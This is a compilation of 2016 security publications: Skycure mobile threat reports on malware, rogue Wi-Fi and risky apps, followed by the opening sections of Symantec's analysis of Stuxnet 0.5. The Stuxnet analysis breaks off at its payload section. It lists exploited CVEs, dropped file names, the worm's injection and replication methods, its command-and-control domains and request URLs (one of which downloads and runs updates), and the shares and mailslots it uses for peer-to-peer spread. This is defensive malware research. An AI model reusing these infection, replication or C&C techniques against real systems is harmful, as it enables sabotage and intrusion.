third party app stores. Of these three types of incidents, 70 percent in the study were network-based incidents, 17
percent came from configuration vulnerabilities, and only 13 percent of incidents came from malware.
Consider, however, that while network incidents may represent a mixture of malicious intent and unintentional
exposure of sensitive information, malware is almost always malicious and deliberate.9am-10amMobile Threat Intelligence Report, Q1 2016 | 6Ransomware, primarily of the screen-lock variety,
has been prevalent on PCs for some time, and started
migrating to the Android operating system starting
in late 2014, continuing to increase in frequency
through the current quarter. In addition to screen-
lock ransomware, crypto-ransomware is becoming
far more popular, where content is encrypted and
unrecoverable even if the victims are able to access
the files. With more data, including corporate data
like emails and documents, and personal data like
photos, stored on mobile devices than ever before,
this is becoming a lucrative and more common exploit
to be aware of.
Accessibility Clickjacking , an Android vulnerability
identified by Skycure Research Labs during
the period of this study, may be leveraged in a
ransomware attack. A simple malware app is created
to take advantage of the Accessibility Clickjacking vulnerability, which in turn grants the hacker
almost unlimited visibility and access into the
device, including the ability to acquire administrative
rights and proceed with data encryption and/or
device lockout.
Broad, spam-based attacks of ransomware are also
giving way to a greater number of precision spear
phishing attacks that are well researched to target
specific executives and other individuals in positions
of power that are more likely to pay large sums of
money to protect valuable corporate or personal
information that may be devastating if exposed. In
the case of enterprise executives, it may be the
company itself that is willing to hand over the money
to recover its proprietary information or keep it from
public exposure.Ransomware
Mobile Threat Intelligence Report, Q1 2016 | 7There are multiple security patches
added into every new release of iOS and
Android to fix vulnerabilities that have
been discovered in the operation system
or system apps, so newer versions of each
operating system are generally more
secure than the previous ones. iOS users
will generally move to newer operating
systems very quickly because the
hardware is standardized and inherently
compatible with each new version
(excepting very old hardware). Android,
on the other hand, is more fragmented
and hardware dependent, so variations
of each new operating system must be
created for each platform, delaying and
staggering the availability of each new
version according to the destination
hardware platform, leading to slower and
less consistent adoption.
When vulnerabilities are discovered by
malicious hackers, they may be pathways
into the device that allow data theft,
spying, or even complete takeover of the
device. Depending on the vulnerability,
there are a number of ways a hacker
might exploit it, ranging from sending
a simple text sequence to the device to
take advantage of an SMS vulnerability,
to creating elaborate malware that
provides a continuous stream of audio,
visual and textual information from the
device and allows the hacker to remotely
control the device and communicate with
others on the user’s behalf. Upgrading
to newer operating systems as soon
as possible is a good way to increase
security and limit the hacker’s options.OS versions
OS Versions in Use100%
0%20%40%60%80%
9.x 8.x 7.x 6.x
18.43%59.55%
21.90%
0.12%92.78%
6.32%
0.77% 0.13%
100%
0%20%40%60%80%
6.x 5.x 4.x 2.xMobile Threat Intelligence Report, Q1 2016 | 831% of devices still do not use
a lock screen passcode
The study found 68.9% of devices surveyed
do have a passcode set to protect access to
content on the device, or content that may be
accessed through the device. Many companies
using MDM to manage mobile devices will
mandate the use of a passcode in order to be
compliant with corporate policies. Since BYOD has become the predominant strategy for organizations, this will
drive up the use of passcodes for these same personal devices. Plus, it seems more people are choosing to use a
passcode on their personal devices even when not required to do so by their company.And the Essentials...68.9% of Devices use Passcodes
Mobile devices connect to many access points
Over the 3 months of data collection, the average number of
network names (SSIDs) connected to for each mobile device was
4.75. Named networks may have multiple access points deployed,
each with a unique identifier (BSSID). The average number of
unique Wi-Fi access points (BSSIDs) connected to per device
during this period was 17.86. A mobile device will automatically
authenticate to a new BSSID of the same name without prompting
the user. Malicious hackers will use this behavior to their
advantage by setting up an access point with the same name
and authentication as a legitimate network, such as a common
airport or hotel Wi-Fi. A device may join the malicious network,
assuming it is one previously authorized, allowing passwords and
data to be stolen even if the user does nothing and is unaware of
the connection.Wi-Fi Access Points
Average number
of SSIDs
connected toAverage number
of BSSIDs
connected to4.7517.86
Mobile Threat Intelligence Report, Q1 2016 | 9The Essentials...continued
Devices exposed to network threats over time
Cumulative Exposure to Network Threats
1st Month 2nd Month 3rd Month 4th Month10%20%30%40%
0%23.4%32.9%40.0%45.4%In any typical organization, about 23% of the mobile
devices will be exposed to a network threat in the
first month of security monitoring. This number goes
to 45% over the next 3 months. A network threat
may be a malicious Man in the Middle (MitM) attack
that decrypts SSL traffic or manipulates content
in transit to or from the device. It can also be a simple misconfigured router that exposes otherwise
encrypted data for anyone to view. Regardless of
how malicious the intent of the network threat is,
individuals and organizations would be wise to avoid
any network that does not accurately and securely
perform the connection services originally requested
by the user and the device.
|
Mobile Threat
Intelligence Report
Q2 2016MOBILE THREAT INTELLIGENCE REPORT | Q2 2016 2EXECUTIVE SUMMARY
Given the continuing evolution in the sophistication of cyber attacks, from a broad spam-type
strategy to more targeted and financially motivated exploits, it makes sense to shift the focus of this
quarter’s report to the same group that malicious hackers are increasingly targeting - executives.
Executives tend to carry more devices than other employees, and typically have greater access to
critical corporate or government information that would be valuable for a hacker to steal, making
them ideal targets. At the same time, some executives are more wary of security issues, so may be
more likely to take sensible precautions. This is the landscape for the current mobile cyber war.
This report focuses on the executive mobile devices that are outfitted with all of the apps and
communication methods to support busy executives that need to be able to respond to the demands
of their jobs at any time and from anywhere. These devices either contain or have access to a
tremendous amount of sensitive data, including personal, corporate and customer information,
making executive mobile devices very appealing targets for malicious hackers.
Note: This investigation is based on tens of millions of security tests from April through June 2016
and includes devices being used by both executives and non-executives.MOBILE THREAT INTELLIGENCE REPORT | Q2 2016 3EXPLOITING EXECUTIVE ACCESS
Mobile devices have become ubiquitous and
indispensable gadgets among organizational
workers, as well as the population as a whole.
However, the group of users who literally rely
on their devices as an essential tool around the
clock are executives. Forbes has reported that
90 percent of executives use a smartphone
every day, and are using tablets more often for
business as well. Smartphones are the primary
communication device, for both work and
personal use, and are used at all hours of the
day, at home and on the road. This means that a hacker that is able to compromise an executive
device may gain access to any privileged
information that the executive has access
to, including data found on the device, any
corporate resources that may be accessed
using the executive’s credentials, or voice and
data communications.The same Forbes report showed that the percentage of executives using tablets rose
19 percent in three years, contributing to the
increase in number of devices used. Earlier
studies have shown that senior executives, on
average, utilize more than three devices each,
with CEOs and CFOs relying on more than four
devices, and that number grows every year.
Each device is an additional opportunity for
malicious hackers to penetrate existing security
measures and increases the likelihood of a
security breach. Breaches may come in the form of malware, network-based attacks, device
vulnerability exploits, or even physical attacks
on the phone directly.
32.5 PERCENT
OF EXECUTIVE DEVICES
WERE EXPOSED TO NETWORK ATTACK
in April through June 2016 timeframe
MOBILE THREAT INTELLIGENCE REPORT | Q2 2016 4EXPLOITING EXECUTIVE ACCESS
The most frequent threats to mobile devices
come from the networks they connect to,
exposing communications, and potentially
compromising the device beyond the period
it is connected to the malicious network. This
study found that 32.5 percent of executive
devices were exposed to network attacks in the
April through June 2016 timeframe. Over the
same period, 22.5 percent were infected with
malware that rated at least medium severity
risk, and 6.3 percent that were determined to be
high severity risk. While malware is occasionally identified and removed, this study determined
that at any point in time, 1 in 50 executive
devices is infected with high severity malware,
providing malicious hackers with continuous
access to sensitive data and conversations.22.5 PERCENT
OF EXECUTIVE DEVICES HAVE
BEEN INFECTED WITH HIGH OR
MEDIUM SEVERITY MALWARE
6.3 PERCENT
DEVICES HAVE BEEN INFECTED
WITH HIGH SEVERITY MALWARE
MOBILE THREAT INTELLIGENCE REPORT | Q2 2016 5EXECUTIVE APPS CONNECT
TO EVERYTHING
Since executives are relied upon to make fast
decisions, they need easy access to all of the
information they will need to make those
decision, and it is the apps on their mobile
devices that deliver the vast majority of that
data, for both their business and personal lives.
For business, commonly used apps include
customer relationship management (CRM),
document storage and editing, expense tracking,
and other mission critical apps that may be
designed specifically for their business. Personal
apps, like those used for banking and investing,
also hold or access sensitive data that may be
tempting for hackers to try to view or steal.With virtually unlimited access to all critical
corporate information, executives are
understandably desirable and popular targets
for hackers. This also explains the trend of
malware toward more spear phishing and
ransomware that is designed to target specific
individuals, as opposed to the broad-based
dragnet approaches that were more popular
in the past. These new methods of corporate
espionage, combined with executive access,
exposes not just corporate information, but
potentially that of their customers and partners as well.
EXECUTIVE APPS PROVIDE ACCESSMOBILE THREAT INTELLIGENCE REPORT | Q2 2016 6MORE SECURITY AWARE,
BUT STILL EXPOSED
In light of the increasing aggressiveness of malicious hackers, it is good to see new evidence that
mobile users are learning to take more security precautions, like locking their devices with passcodes.
There is even evidence that mobile users are updating the operating systems on their mobile devices
more quickly than they used to. Considering the vast majority of operating system patches address
security issues, quickly updating to the latest OS version is an important step to minimize the risk of
exposure to device vulnerability exploits.
This study reveals that executives may be slightly ahead of the curve when it comes to awareness
about mobile security issues. They may be aware of the added risk they pose to their businesses by
using more devices and having greater access to more critical data, or perhaps they are more sensitive
to security issues in general, and that carries over to their mobile lives. Note that the increase in
security awareness of executives over the general population is relatively small. So, as encouraging
as this trend may be, it is unlikely to even come close to offsetting the added risk factors that
executives introduce.
EXECUTIVES VS NON-EXECUTIVES
EXECUTIVES NON-EXECUTIVESAndroid devices with high/
medium severity malware
Devices exposed to
network threats
Devices with NO
passcode enabled
Android devices NOT
updated to version 622.5%
26.8%
32.5%
39.7%
9.0%
16.5%
33.0%
49.2%
* April through June 2016 timeframeMOBILE THREAT INTELLIGENCE REPORT | Q2 2016 7AND THE ESSENTIALS....
Almost a third of all devices are risk
About 32 percent of all mobile devices are rated
as medium-to-high risk according to the Skycure
Mobile Threat Risk Score. The percentage of
high risk devices dropped slightly in Q2 2016
to 1.7 percent. These devices have either
already been compromised or are currently
under attack. The Skycure risk score takes into
account recent threats the device was exposed
to, device vulnerabilities, configuration and
user behavior.
Jailbroken & Rooted
Rooting an Android device, or Jailbreaking an iOS device, is a way for the user to gain greater control over the device, allowing better access to system files and enabling greater personalization and
functionality of the device that wouldn’t otherwise be allowed by the operating system as designed.
Users will do this to their own phones to improve their productivity or enjoyment of the device, but
this continues to decrease in popularity as newer operating systems naturally allow some of the
functionality that could previously only be achieved through rooting or jailbreaking.Low Risk
29.93%Minimal
Risk
38.16%Medium
Risk
30.23%High Risk
1.69%
Because of the greater control
over the device that this affords,
it is a common goal of hackers to figure out ways to root or
jailbreak devices, and malware is
a common way to do that. A user
that roots or jailbreaks their
own device should be aware that
they may be simply making it
easier for hackers to exploit, so
it is not generally recommended.
0.01% 0.41%
0.54% 3.18%Enterprise Managed
Self ManagedMOBILE THREAT INTELLIGENCE REPORT | Q2 2016 81st Month 2nd Month 3rd Month 4th Month10%20%30%40%
0%AND THE ESSENTIALS....
Devices exposed to network threats over time
In any typical organization, about 23% of the mobile devices will be exposed to a network threat in
the first month of security monitoring. This number goes to 45% over the next 3 months. A network
threat may be a malicious Man in the Middle (MitM) attack that decrypts SSL traffic or manipulates
content in transit to or from the device. It can also be a simple misconfigured router that exposes
otherwise encrypted data for anyone to view. Regardless of how malicious the intent of the network
threat is, individuals and organizations would be wise to avoid any network that does not accurately
and securely perform the connection services originally requested by the user and the device.
CUMULATIVE EXPOSURE TO NETWORK THREATS
22.7%32.9%40.0%45.4%MOBILE THREAT INTELLIGENCE REPORT | Q2 2016 9Use a numeric or biometric passcode on your device, in case the device is stolen.
Avoid connecting to Public WiFi networks, especially networks with “Free” in their name.
Avoid accessing highly sensitive information when connected to public WiFi.
Be sure WiFi name is sensible for the location - no Heathrow WiFi in New York.Only download apps from reputable app stores like Google Play and Apple’s App Store.Update your device to the most current operating system to have all security patches.Disconnect from the network if your phone behaves strangely (crashes or warnings).
Read security warnings and don’t click “Continue” if you don’t understand the exposure.
Check for top mobile threats in any destination by visiting https://maps.skycure.comProtect your device with a free mobile security app like Skycure - https://apps.skycure.com/
Threats to mobile devices affect all mobile
workers, but malicious hackers are increasingly
targeting executives due to the high value
information that can be accessed and used
for personal gain or competitive advantage.
Organizations looking to defend their
executive devices, and the rest of their mobile
ecosystems, from the various threats should
follow advice from the major EMM vendors,
which all recommend adding a Mobile Threat
Defense solution to protect valuable corporate
data. Traditional approaches that leverage standard static and dynamic methods alone
are good, but not enough to protect from the malware, network-based threats and
vulnerability exploits hackers are devising every
day. The SANS Institute suggests a strategy
that builds on this traditional approach by
adding multiple layers of threat intelligence
and advanced analytics. In addition to the local
threat information collected and analyzed
on the device, organizations can benefit from
crowd-sourced threat intelligence from many
distributed devices and additional server-side
analysis to identify and protect enterprises
even from sophisticated malware that bypasses classical detection methods.1
2
3
4
5
6
7
8
9
10TOP 10 RECOMMENDATIONS
FOR EXECUTIVES
|
Mobile Threat
Intelligence Report
Q3 2016
HOLIDAY SHOPPING ADVISORYMOBILE THREAT INTELLIGENCE REPORT | Q3 2016 2EXECUTIVE SUMMARY
As we enter the 2016 holiday shopping season, it is
important for people to understand the new and increased risks introduced into this jolly season by way of their smartphones and other mobile devices. These devices are making our lives so much easier in many ways - easier to
communicate, easier to manage and access information, and
easier to shop. Unfortunately, cyber criminals are making all of these activities more risky every year, constantly finding creative ways to steal and expose sensitive data, and exploit that information for their own gain.
Risks abound, whether shopping online or in retail stores.
According to industry statistics, 90 percent of people admit to using their smartphones while in brick and mortar stores, to check online reviews, compare prices and evaluate competitive products. That means shoppers are also looking for Wi-Fi networks to connect their phones to in order to save on their data plans. While many stores and
malls offer Wi-Fi for their customers, so do cyber criminals.When shopping online, often performed on mobile
devices today, shoppers may use store apps or look for online bargains and coupons. Hackers know this and will offer repackaged versions of your favorite store app, or even create new apps that promise
deals and rewards. When much of our attention is
on the task of shopping, especially during the frantic holiday season, please don’t overlook the risks.
Note: This investigation is based on tens of millions of
security tests from July through September 2016.MOBILE THREAT INTELLIGENCE REPORT | Q3 2016 3ATTENTION: SHOPPING MAY BE
HAZARDOUS TO YOUR MOBILE DEVICE
Hackers target frantic shoppers
While out shopping this holiday season, beware of joining
risky Wi-Fi networks. Many are simply misconfigured and may expose your communications to anyone who may be interested in viewing them, while others are being monitored or even set up by cyber criminals
specifically to steal your data. The most popular data to
steal is user names and passwords - with those a hacker can break into your cloud accounts, corporate email and other systems, long after your visit to the mall.
Cyber criminals converge where there are lots of
people, and malls are among the leading locations where people gather and attempt to connect to available Wi-Fi hotspots. Add the timing of Black Friday, and not only will there be an order of magnitude more people in these locations, but they will have many things on their minds other than mobile security. Under these circumstances, cyber criminals are bound to catch many devices connecting to unsafe or malicious networks. Skycure Research evaluated millions of network scans to identify that Fashion Show mall in Las Vegas is the most risky for mobile shoppers, where 14 Wi-Fi networks were
found to be malicious or risky to connect to. Every mall
in the top 10 has at least 5 risky networks to avoid.
Other malls with multiple networks to avoid include:
South Coast Plaza in Costa Mesa, CA; NorthPark Center in Dallas, TX; Mall of Georgia in Buford,
GA; and Hanes Mall in Winston-Salem, NC.
TOP 10 SHOPPING MALLS FOR RISKY WI-FI NETWORKS
Fashion Show, Las Vegas, NV
Tysons Corner Center, McLean, VA
Yorktown Center, Lombard, IL
T own Center at Boca Raton, Boca Raton, FL
Sawgrass Mills, Sunrise, FL
Mall of America, Bloomington, MN
Houston Galleria, Houston, TX
King of Prussia Mall, King of Prussia, PA Westfield Garden State, Paramus, NJ
Memorial City Mall, Houston, TX
1
2
3
4
5
6
7
8
9
10MOBILE THREAT INTELLIGENCE REPORT | Q3 2016 4Wi-Fi designed to deceive
Many of the Wi-Fi networks flagged as risky are set
up by businesses with good intentions, but are simply misconfigured, and as such will be easy for hackers or even laymen to observe your communications that should be confidential. Other Wi-Fi networks are set
up by cyber criminals specifically to lure victims and
their devices to connect and give up their secrets.
The methods cyber criminals use to hack mobile
devices through Wi-Fi networks vary, but there are two primary strategies hackers utilize:
1. Find misconfigured or poorly secured networks that legitimate organizations have set up, like coffee shops, stores and malls, and set up a Man-in-the-Middle (MitM) exploit. In this scenario, the hacker can either observe unencrypted traffic, stealing data and account
credentials, or manipulate the content the victim sees to
redirect to a malicious website or download malware.
2. Set up a fake Wi-Fi network to trick the victim or the device into connecting. By mimicking a legitimate network, using the same name, a user may connect thinking it is legitimate and safe. If the device has previously been connected to the official version,
it will often connect without any action by the user.
Alternatively, the hacker may set up a network and use the term “free” in the name to lure victims.Both of these scenarios can be dangerous and put mobile shoppers and their data and online accounts at risk. Even a short exposure to a malicious network may give hackers enough information to later access bank accounts, social media accounts and corporate accounts. When shopping, pay attention to these things. Skycure research has determined that almost 10% of malicious Wi-Fi hotspots use the term “free” in the name, such as “FreePublicWiFi” , so make sure the network is one you trust. Also, if you see a familiar network, like
Starbucks or Apple Store, make sure you are actually
nearby that establishment. Otherwise it is probably a fake. Skycure researchers found the following examples of fake Wi-Fi networks at popular shopping centers.
• Macysfreewifi - in Park Meadows mall Denver,
the Waterfront mall Pittsburgh as well as in places where there’s no Macy’s store
• Belk_Guest - in Columbiana center NC
• Apple Store - multiple instances where there’s no Apple Store
• Bloomingdalesfreewifi - at Liberty Place, Philadelphia
• officedepot - In Magnolia Shoppes near Miami
• Panera - near Baltimore
If you see a Wi-Fi that is named as if it is hosted by a store, but that store is nowhere nearby, don’t connect.
FREE WIFI
FREE WIFIFREE WIFIMOBILE THREAT INTELLIGENCE REPORT | Q3 2016 5Commerce Apps to avoid on Cyber Monday - or any other day
Black Friday network threats are not the only risk shoppers face this year. On Cyber Monday, bargain
hunters will be using their mobile devices to access the apps from their favorite retail stores to search for sales and deals online. One-third of all ecommerce purchases during the 2015 holiday season were made on a smartphone, and hackers know that people are shopping for bargains around the holidays, and there are many ways to lure people by promising savings or convenience. One way is to offer apps that look like they
are from your favorite stores, either designed to make shopping easier, or to offer discounts or rewards.
Skycure Research has identified two types of apps to be wary of:
1. Repackaged Apps: The first type of app looks exactly like the official apps offered by your
favorite retailers, but have a small amount of malicious code added in. These are called repackaged
apps and will look and behave exactly like the original app, except that it will also do bad things
in the background without your knowledge, like steal your data or spy on you by observing
communications or recording audio and/or video. An example of this that was discovered in the research was a repackaged version of the Starbucks app. Avoid this hazard by only installing apps from the official Apple and Google app stores.
2. Fake Apps: The second type of shopping app to avoid are apps that are created from scratch to deceive bargain-hunting victims. Some hacker created an app called Amazon Rewards, yet no such app exists in the official app stores. By promising “rewards” people are more likely to download this, even though it will not appear on the official app stores, because the desire to save money this time of year is at its highest. In the case of this app, it is actually a trojan that spreads using SMS messages with fake Amazon vouchers and a link to a fake website. It accesses the user’s contact list so that it can send SMS messages to even more people.
MOBILE THREAT INTELLIGENCE REPORT | Q3 2016 6WHY CYBER CRIMINALS ARE LOOKING
FORWARD TO THIS HOLIDAY SEASON
$656 BILLION
IN RETAIL SALES PROJECTED
IN THE 2016 HOLIDAY SHOPPING SEASON 37%
OF WEBSITE VISITS IN 2015
WERE GENERATED BY MOBILE WEB BROWSERS
18%
OF NORTH AMERICANS USE MOBILE PAYMENTS REGULARL Y
$27.05 BILLION
ESTIMATED MOBILE PAYMENTS IN 2016 (3X THAT OF 2015)90%
OF SMARTPHONE USERS CONSULT THEIR PHONE DURING SHOPPING IN A PHYSICAL LOCATION
$40.241
BILLION
ESTIMATED AD SPEND
IN 2016 (41% INCREASE OVER 2015)
50%
OF CLICKS ON MOBILE
ADS WERE ACCIDENTAL$
20152016
CLICK HERE!
CLICK
HERE!CLICK HERE !
CLICK
HERE!
Credits: StatCounter, Accenture, eMarketer, GoldSpot Media
MOBILE THREAT INTELLIGENCE REPORT | Q3 2016 6MOBILE THREAT INTELLIGENCE REPORT | Q3 2016 7OTHER MOBILE RISKS
Over half of all devices are risky
About 56 percent of all mobile devices are rated as
medium-to-high risk according to the Skycure Mobile Threat Risk Score. The percentage of high risk devices dropped slightly in Q3 2016 from 1.7 to 1.4 percent. These devices have either already been compromised or
are currently under attack. The Skycure risk score takes
into account recent threats the device was exposed to, device vulnerabilities, configuration and user behavior.
Jailbroken & Rooted
Rooting an Android device, or Jailbreaking an iOS device, is a way for the user to gain greater control over the device, allowing better access to system files and enabling greater personalization and functionality of the device that wouldn’t otherwise be allowed by the operating system as designed. Users will do this to their own phones to improve their productivity or enjoyment of the device, but this continues to decrease in popularity as newer operating systems naturally allow some of the functionality that could previously only be achieved through rooting or jailbreaking.Low Risk
20.78%Minimal
Risk
22.79%
Medium
Risk
55.07%High Risk
1.36%
Because of the greater control over the device that this affords, it is a common goal of hackers to figure out ways to root or jailbreak devices, and alware is a common way to do that. A user that roots
or jailbreaks their own device should be
aware that they may be simply making it easier for hackers to exploit, so it is not generally recommended. Fortunately, these rates are trending down over time.
0.01% 0.32%
0.35% 2.07%Enterprise Managed
Self ManagedMOBILE THREAT INTELLIGENCE REPORT | Q3 2016 81st Month 2nd Month 3rd Month 4th Month10%20%30%40%
0%Devices exposed to network threats over time
In any typical organization, about 20% of the mobile devices will be exposed to a network threat in the first month
of security monitoring. This number goes to 46% over the next 3 months. A network threat may be a malicious Man in the Middle (MitM) attack that decrypts SSL traffic or manipulates content in transit to or from the device. It can also be a simple misconfigured router that exposes otherwise encrypted data for anyone to view. Regardless of how malicious the intent of the network threat is, individuals and organizations would be wise to avoid any network that
does not accurately and securely perform the connection services originally requested by the user and the device.
CUMULATIVE EXPOSURE TO NETWORK THREATS
19.5%28.0%33.8%46.4%
|
Security ResponseOverview
In 2010, Symantec reported on a new and highly sophisticated worm
called Stuxnet . This worm became known as the first computer
software threat that was used as a cyber-weapon. The worm was specifically designed to take control over industrial plant machinery and making them operate outside of their safe or normal performance envelope, causing damage in the process. This was a first in the history of malware.
Clues in the code pointed to other versions of the worm which could
potentially perform different actions leaving an open question about Stuxnet and how it came to be. The wait for the missing link is now over. Symantec have now discovered an older version of Stuxnet that can answer the questions about the evolution of Stuxnet. This newly discovered variant has been dissected and analyzed in detail and here is a summary of our key findings:
• Stuxnet 0.5 is the oldest known Stuxnet version to be analyzed, in the wild as early as November 2007 and in development as early as November 2005.
• Stuxnet 0.5 was less aggressive than Stuxnet versions 1.x and only spread through infected Step 7 projects.
• Stuxnet 0.5 contains an alternative attack strategy, closing valves within the uranium enrichment facility at Natanz, Iran, which would have caused serious damage to the centrifuges and uranium enrichment system as a whole.Geoff McDonald, Liam O Murchu, Stephen Doherty,Eric Chien Stuxnet 0.5:The Missing Link
Contents
Overview ............................................................ 1
Installation and load point ................................ 3
Replication ......................................................... 3
Command-and-control ...................................... 4
Payload ............................................................... 5
Man-in-the-Middle ....................................... 5
Fingerprinting and building DB8061 ................ 6
PLC device attack code ................................ 9
Conclusion ........................................................ 12
Appendix A ....................................................... 13
Appendix B ....................................................... 14
Appendix C ....................................................... 15
Appendix D ....................................................... 16
Resources .......................................................... 17
Community credits ........................................... 17Version 1.0: February 26, 2013Stuxnet 0.5: The Missing LinkPage 2
Security ResponseWhether Stuxnet 0.5 was successful is unclear, but later versions of Stuxnet were developed using a different
development framework, became more aggressive, and employed a different attack strategy that changed the speeds of the centrifuges instead instead suggesting Stuxnet 0.5 did not completely fulfill the attacker’s goals.
More versions of Stuxnet are known to exist, but have never been recovered.
Evolution
Stuxnet 0.5 was submitted to
a malware scanning service in November 2007 and could have began operation as early as November 2005. This version is designed to stop compromising computers on July 4, 2009, and stop communicating with its command-and-control (C&C) servers on an earlier date of January 11 that same year. The compile timestamps found within most of the code appear unreliable and generally are in the range of the year 2001.
Based on an internal version number
this version of Stuxnet is 0.5, the earliest known version of the Stuxnet family.
The only method of replication in
Stuxnet 0.5 is through infection of Siemens Step 7 project files. Stuxnet 0.5 does not exploit any Microsoft vulnerabilities, unlike versions 1.x which came later.
There are differences in exploited
vulnerabilities and spreading mechanisms between Stuxnet versions.Table 1
Evolution of Stuxnet versions
Version Date Description
0.500 November 3, 2005 C&C server registration
0.500 November 15, 2007 Submit date to a public scanning service
0.500 July 4, 2009 Infection stop date
1.001 June 22, 2009 Main binary compile timestamp
1.100 March 1, 2010 Main binary compile timestamp
1.101 April 14, 2010 Main binary compile timestamp
1.x June 24, 2012 Infection stop date
Table 2
Evolution of Stuxnet exploits
Vulnerability 0.500 1.001 1.100 1.101 Description
CVE-2010-3888 X X Task scheduler EOP
CVE-2010-2743 X X LoadKeyboardLayout EOP
CVE-2010-2729 X X X Print spooler RCE
CVE-2008-4250 X X X Windows Server Service RPC RCE
CVE-2012-3015 X X X X Step 7 Insecure Library Loading
CVE-2010-2772 X X X WinCC default password
CVE-2010-2568 X X Shortcut .lnk RCE
MS09-025 X NtUserRegisterClassExWow/NtUserMessageCall EOP
Table 3
Evolution of Stuxnet replication
Replication Technique 0.500 1.001 1.100 1.101
Step 7 project files X X X X
USB through Step 7 project files X
USB through Autorun X
USB through CVE-2010-2568 X X
Network shares X X X
Windows Server RPC X X X
Printer spooler X X X
WinCC servers X X X
Peer-to-peer updating through mailslots X
Peer-to-peer updating through RPC X X XStuxnet 0.5: The Missing LinkPage 3
Security ResponseStuxnet 0.5 is partly based on the Flamer platform whereas 1.x versions were based primarily on the Tilded
platform. Over time, the developers appear to have migrated more towards the Tilded platform. The developers actually re-implemented Flamer-platform components using the Tilded platform in later versions.
Both the Flamer and Tilded platform code bases are different enough to suggest different developers were
involved.
Stuxnet 0.5 also contains code to attack the valve systems in a uranium enrichment facility rather than
modifying centrifuge speeds, as in versions 1.x of Stuxnet.
Installation and load point
Stuxnet 0.5 arrives as an infected Step 7 project archive containing both the s7hkimdb.dll and XR000001.MDX files. Using the Multiple Siemens SIMATIC Products DLL Loading Arbitrary Code Execution Vulnerability (CVE-2012-3015), the S7hkimdb.dll file is executed, which then decrypts and injects the main XR00001.MDX Stuxnet binary file into the services.exe process. Stuxnet is now executing on the system.
Once injected into the services.exe process, a copy of the main Stuxnet binary and a companion DLL that
implements the payload are saved to disk in encrypted form along with a MRXCLS.SYS load point driver. The main Stuxnet binary refers to itself as outbreak.dll and is saved to disk as oem7a.pnf. The companion DLL that implements the payload refers to itself as installation.dll and saved to disk as oem7w.pnf. When the system is booted, the MRXCLS.SYS load point driver will decrypt configuration data stored in the registry, decrypt the main Stuxnet binary, and inject it into the Explorer and Step 7 processes. The payload DLL will be decrypted as well and injected into the Explorer process. When loading dynamic-link library (DLL) resources, Stuxnet makes use of a module that mimics LoadLibrary rather than calling LoadLibrary itself. This technique is likely
used to avoid security software and was not seen in versions 1.x of Stuxnet.
A second driver, PCIBUS.SYS, is also created which causes a forced reboot by generating a BSoD (Blue Screen of
Death) 20 days after installation.
A third driver, USBACC11.SYS, is then installed. This driver is similar to the MRXCLS.SYS driver, but instead
decrypts and injects DLLs for peer-to-peer and C&C communication into the svchost.exe and Internet Explorer processes.
The structure and organization as well as resource and export listings of each component is available in
Appendix D.
Stuxnet 0.5 also checks the current date in a variety of code paths and will not continue to spread after July 4,
2009. Certain modules may also not be created or loaded if security software is present. A list is available in Appendix B.
A variety of additional files are created, including log files and configuration files. A list is available in Appendix
A.
Replication
Stuxnet 0.5 uses one form of replication through Step 7 project archives. When a removable drive is inserted in an infected system, Stuxnet 0.5 will infect any Step 7 project archives with a .s7p or .zip file name extension on the drive. In addition, Step 7 project archives on the local disk will also be infected.
Therefore Stuxnet 0.5 spreads to additional machines through removable drives or through human-initiated
sharing of infected Step 7 project archives, for example through email.
Stuxnet 0.5 infects Step 7 project archives in the same manner as Stuxnet 1.x versions (as described in W32.Stuxnet 0.5: The Missing LinkPage 4
Security ResponseStuxnet Dossier , Step 7 Project File Infections ). The following is an example file listing of an infected Step 7
project file.
ApiLog/Types – modified to trigger DLL loading vulnerability
XUTILS/links/S7P00001.DBF – configuration fileXUTILS/listen/S7000001.MDX – payload DLL (installation.dll)XUTILS/listen/XR000000.MDX – main Stuxnet binary (outbreak.dll)hOmSave7/subfolder/s7hkimdb.dll - loader
Command-and-control
Similar to Stuxnet 1.x versions, Stuxnet 0.5 has limited command-and-control ability. In particular, Stuxnet 0.5 does not provide fine grained control to its authors. Instead, Stuxnet 0.5 can only download new code and update itself. Stuxnet needs to ultimately spread on isolated networks with no Internet access, therefore it has been designed to be autonomous to reduce the need for robust and fine grained command-and-control. Stuxnet 0.5 also uses a secondary peer-to-peer mechanism to propagate these code updates to peers on networks inaccessible to the broader Internet.
Command-and-control is implemented by the inetpsp.dll file while peer-to-peer communications are
implemented by the netsimp32.dll file. Both files are loaded by the usbacc11.sys driver and then injected into the svchost.exe and iexplore.exe processes.
Stuxnet 0.5 has four C&C servers, all of which are now either unavailable or have since been registered by an
unrelated party:
• smartclick.org
• best-advertising.net
• internetadvertising4u.com
• ad-marketing.net
Interestingly, Stuxnet 0.5 is programmed to stop contacting the C&C server after January 11, 2009, even though
the threat is programmed to only stop spreading after a later date of July 4, 2009.
The C&C server domains were
created in 2005 and all displayed the same front page purporting to be an Internet advertising agency named Media Suffix (figure 1) with the tag line “Believe What the Mind Can Dream”.
The servers were hosted on
commercial hosting providers in the United States, Canada, France, and Thailand. The fact that these domains were in operation since 2005, suggests that the Stuxnet project started more than seven years ago. Figure 1
Internet advertising agency homepage for Stuxnet C&C servers
Stuxnet 0.5: The Missing LinkPage 5
Security ResponseThe first request by Stuxnet 0.5 uses the following form:
http://<domain>/cgi/link.php?site=xxThis notifies the C&C server of an active successful infection. Next, Stuxnet 0.5 sends the following request:http://<domain>/cgi/click.php?xite=xx&num=yy&c=1&j=%x&k=%x&l=%xThis may download and execute a file if an update is available.
The final target network for Stuxnet 0.5 was likely isolated from the Internet. To allow updates to reach these
machines, Stuxnet 0.5 also used a peer-to-peer mechanism. As long as one updated version was introduced into this network—for example through an infected USB key—all the other infected machines on the network could receive updates or new code modules.
Stuxnet 0.5 uses Windows mailslots for peer-to-peer communication. Mailslots allow a process to pass a
message to another process on a remote machine. Stuxnet 0.5 enumerates all machines on the network and attempts to connect to a mailslot named \\[REMOTE MACHINE NAME]\mailslot\svchost . It then provides
a callback mailslot name of \\[LOCAL MACHINE NAME]\mailslot\imnotify .
Stuxnet 0.5 uses these mailslots for peer-to-peer communication and to pass code updates. In addition, Stuxnet 0.5 may configure systems to allow anonymous logins and then provides the following file shares:
• temp$
• msagent$
• SYSADMIN$
• WebFiles$
This allows file retrieval by peer infections. Shared files include:
%WinDir%\msagent\agentsb.dll
%WinDir%\msagent\intl\agt0f2e.dll%WinDir%\system32\complnd.dll%WinDir%\system32\dllcache\datacprs.dll%WinDir%\system32\wbem\perfnws.dll%WinDir%\Installer\{6F716D8C-398F-11D3-85E1-005004838609}\places.dat
Payload
